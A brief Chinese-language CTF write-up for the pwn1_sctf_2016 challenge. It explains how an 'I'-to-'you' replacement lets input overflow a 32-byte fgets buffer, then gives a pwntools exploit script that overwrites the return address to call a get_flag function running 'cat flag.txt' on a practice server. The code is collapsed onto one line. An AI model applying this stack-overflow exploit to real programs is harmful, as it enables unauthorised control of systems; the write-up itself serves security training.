32位,没有保护
fgets函数最多输入32位,没办法溢出,但是有两个转化函数
输出 I 的话会被转换成 YOU
这样的话就可以溢出了溢出到这个函数
int get_flag(){return system("cat flag.txt");}
from pwn import *context(os="linux", arch="x86", log_level='debug')content = 0elf = ELF("pwn1_sctf_2016")get_flag_addr = elf.symbols["get_flag"]# 0x08048F0Ddef main():if content == 1:peiqi = process("pwn1_sctf_2016")else:peiqi = remote("node3.buuoj.cn",27626)payload = b'I' * 21 + b'a' # 0x3c + 4 --> b'you' * 21 + 'a' = 64payload = payload + p32(get_flag_addr)peiqi.sendline(payload)peiqi.interactive()main()

